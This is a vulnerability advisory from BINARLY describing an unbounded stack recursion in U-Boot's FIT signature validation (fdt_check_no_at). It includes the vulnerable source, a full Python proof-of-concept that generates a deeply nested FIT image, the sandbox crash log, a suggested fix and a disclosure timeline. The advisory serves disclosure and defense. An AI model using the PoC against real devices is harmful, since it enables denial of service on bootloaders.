Unbounded recursion in `fdt_check_no_at` during FIT format validation
BINARLY REsearch team has discovered an unbounded recursion vulnerability in U-Boot during the FIT format validation process, allowing a potential attacker to cause a denial of service.
Image preview
Potential Impact
An attacker can exploit this vulnerability to cause a denial of service (DoS) of the device running the U-Boot bootloader.
Image preview
Vulnerability Information
- BINARLY internal vulnerability identifier: BRLY-2026-042
- BINARLY calculated CVSS v3.1: 4.6 Medium AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Image preview
Affected U-Boot versions
U-Boot v2026.04: https://github.com/u-boot/u-boot/archive/refs/tags/v2026.04.tar.gz.
NOTE: The vulnerability was also confirmed to be present in the latest U-Boot commit on the master branch at the time of reporting (https://github.com/u-boot/u-boot/tree/38dbe637c9dfcadbd1bc201bfbb27f96b2ad525a).
Image preview
Vulnerability description
The fdt_check_no_at function, located in boot/image-fit.c, is a helper that guards against libfdt's unit-address ambiguity; it scans the FIT tree and rejects any node whose name contains an @:
static int fdt_check_no_at(const void *fit, int parent)
{
const char *name;
int node;
int ret;
name = fdt_get_name(fit, parent, NULL);
if (!name || strchr(name, '@'))
return -EADDRNOTAVAIL;
fdt_for_each_subnode(node, fit, parent) {
ret = fdt_check_no_at(fit, node);
if (ret)
return ret;
}
return 0;
}
The function is recursive: for every subnode, it calls itself, and its termination condition is "no more subnodes".
It is called from the fit_check_format function (boot/image-fit.c:1699):
int fit_check_format(const void *fit, ulong size)
{
int ret;
/* A FIT image must be a valid FDT */
ret = fdt_check_header(fit);
if (ret) {
log_debug("Wrong FIT format: not a flattened device tree (err=%d)\n",
ret);
return -ENOEXEC;
}
if (CONFIG_IS_ENABLED(FIT_FULL_CHECK)) {
/*
* If we are not given the size, make do with calculating it.
* This is not as secure, so we should consider a flag to
* control this.
*/
if (size == IMAGE_SIZE_INVAL)
size = fdt_totalsize(fit);
ret = fdt_check_full(fit, size);
if (ret)
ret = -EINVAL;
/*
* U-Boot stopped using unit addressed in 2017. Since libfdt
* can match nodes ignoring any unit address, signature
* verification can see the wrong node if one is inserted with
* the same name as a valid node but with a unit address
* attached. Protect against this by disallowing unit addresses.
*/
if (!ret && CONFIG_IS_ENABLED(FIT_SIGNATURE)) {
ret = fdt_check_no_at(fit, 0);
...
The only guard executed prior to fdt_check_no_at that validates the nesting depth of the FIT tree is in fdt_check_full:
case FDT_BEGIN_NODE:
depth++;
if (depth > INT_MAX)
return -FDT_ERR_BADSTRUCTURE;
It is only checked that the depth does not exceed INT_MAX, which means it is theoretically possible to create a FIT image with a depth of 2147483647 (if the device has enough RAM to support it). Each call to fdt_check_no_at consumes 16 bytes of stack space (one const char * and two int local variables, and a return address), while introducing a nested entry in the FIT requires 12 bytes (FDT_BEGIN_NODE — 4 bytes, node name — at least 4 bytes, and FDT_END_NODE — 4 bytes). The stack is therefore guaranteed to be exhausted on any RAM size available.
Image preview
Steps for exploitation
Build U-Boot with sandbox configuration:
make sandbox_defconfig
make -j"$(nproc)" KCFLAGS=-fcommon
Use the following script to generate a PoC FIT image with 500,000 nested empty subnodes and a minimal keyblob DTB to trigger the vulnerability:
#!/usr/bin/env python3
import os
import struct
import sys
FDT_MAGIC = 0xD00DFEED
FDT_BEGIN_NODE = 1
FDT_END_NODE = 2
FDT_PROP = 3
FDT_END = 9
HDR_SIZE = 40
RSV_SIZE = 16
DEPTH = 500_000
def be32(x):
return struct.pack(">I", x & 0xFFFFFFFF)
def build(path):
body = bytearray()
body += be32(FDT_BEGIN_NODE) + b"\x00\x00\x00\x00" # root
body += be32(FDT_PROP) + be32(4) + be32(0) + b"poc\x00" # description
body += be32(FDT_PROP) + be32(4) + be32(12) + be32(0) # timestamp
body += be32(FDT_BEGIN_NODE) + b"images\x00\x00"
body += be32(FDT_BEGIN_NODE) + b"k\x00\x00\x00"
body += be32(FDT_PROP) + be32(4) + be32(22) + b"\x00\x00\x00\x00" # data
for _ in range(DEPTH):
body += be32(FDT_BEGIN_NODE) + b"a\x00\x00\x00"
for _ in range(DEPTH):
body += be32(FDT_END_NODE)
body += be32(FDT_END_NODE) # close /images/k
body += be32(FDT_END_NODE) # close /images
body += be32(FDT_END_NODE) # close root
body += be32(FDT_END)
strings = b"description\x00timestamp\x00data\x00"
off_dt_struct = HDR_SIZE + RSV_SIZE
off_dt_strings = off_dt_struct + len(body)
totalsize = off_dt_strings + len(strings)
header = b"".join([
be32(FDT_MAGIC), be32(totalsize), be32(off_dt_struct),
be32(off_dt_strings), be32(HDR_SIZE), be32(17), be32(16),
be32(0), be32(len(strings)), be32(len(body)),
])
with open(path, "wb") as f:
f.write(header)
f.write(b"\x00" * RSV_SIZE)
f.write(bytes(body))
f.write(strings)
def build_keyblob(path):
body = bytearray()
body += be32(FDT_BEGIN_NODE) + b"\x00\x00\x00\x00"
body += be32(FDT_BEGIN_NODE) + b"binman\x00\x00"
body += be32(FDT_END_NODE)
body += be32(FDT_BEGIN_NODE) + b"signature\x00\x00\x00"
body += be32(FDT_BEGIN_NODE) + b"key-prod\x00\x00\x00\x00"
body += be32(FDT_PROP) + be32(5) + be32(0) + b"conf\x00\x00\x00\x00"
body += be32(FDT_PROP) + be32(13) + be32(9) + b"sha1,rsa2048\x00\x00\x00\x00"
body += be32(FDT_END_NODE)
body += be32(FDT_END_NODE)
body += be32(FDT_BEGIN_NODE) + b"reset@0\x00"
body += be32(FDT_PROP) + be32(14) + be32(22) + b"sandbox,reset\x00\x00\x00"
body += be32(FDT_END_NODE)
body += be32(FDT_END_NODE)
body += be32(FDT_END)
strings = b"required\x00algo\x00compatible\x00"
off_s = HDR_SIZE + RSV_SIZE
off_str = off_s + len(body)
total = off_str + len(strings)
hdr = b"".join([
be32(FDT_MAGIC), be32(total), be32(off_s), be32(off_str),
be32(HDR_SIZE), be32(17), be32(16), be32(0),
be32(len(strings)), be32(len(body)),
])
with open(path, "wb") as f:
f.write(hdr)
f.write(b"\x00" * RSV_SIZE)
f.write(bytes(body))
f.write(strings)
if __name__ == "__main__":
fit = sys.argv[1] if len(sys.argv) > 1 else "poc.fit"
key = sys.argv[2] if len(sys.argv) > 2 else "keyblob.dtb"
build(fit)
build_keyblob(key)
We can now confirm that U-Boot crashes when the crafted FIT image signature is verified:
./u-boot -d keyblob.dtb -c 'host load hostfs - 100 poc.fit; bootm 100'
Bloblist at 100 not found (err=-2)
U-Boot 2026.04-dirty (May 18 2026 - 16:00:19 +0100)
DRAM: 256 MiB
Core: 29 devices, 15 uclasses, devicetree: board, universal payload active
NAND: 0 MiB
MMC:
Loading Environment from nowhere... OK
Warning: device tree node '/config/environment' not found
In: serial,cros-ec-keyb,usbkbd
Out: serial,vidconsole
Err: serial,vidconsole
Net: eth_initialize() No ethernet found.
zsh: segmentation fault ./u-boot -d keyblob.dtb -c
The crash occurs because the stack pointer reaches an unmapped memory address.
Image preview
How to fix it
Validate the nesting depth of the FIT tree in fdt_check_no_at by introducing a depth counter and rejecting the FIT image if the depth exceeds a reasonable limit. FDT_MAX_DEPTH is already defined in boot/fdt_region.c (set to 32) and could be reused for this purpose.
Image preview
Disclosure timeline
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
| Disclosure Activity | Date (YYYY-mm-dd) |
|---|---|
U-Boot maintainers are notified | 2026-05-20 |
U-Boot maintainers merged the fix patch | 2026-06-12 |
BINARLY public disclosure date | 2026-07-01 |
Image preview
Acknowledgements
Image preview
See if you are impacted now with our Firmware Vulnerability Scanner
Find Vulnerabilities, Generate SBOMs & CBOMs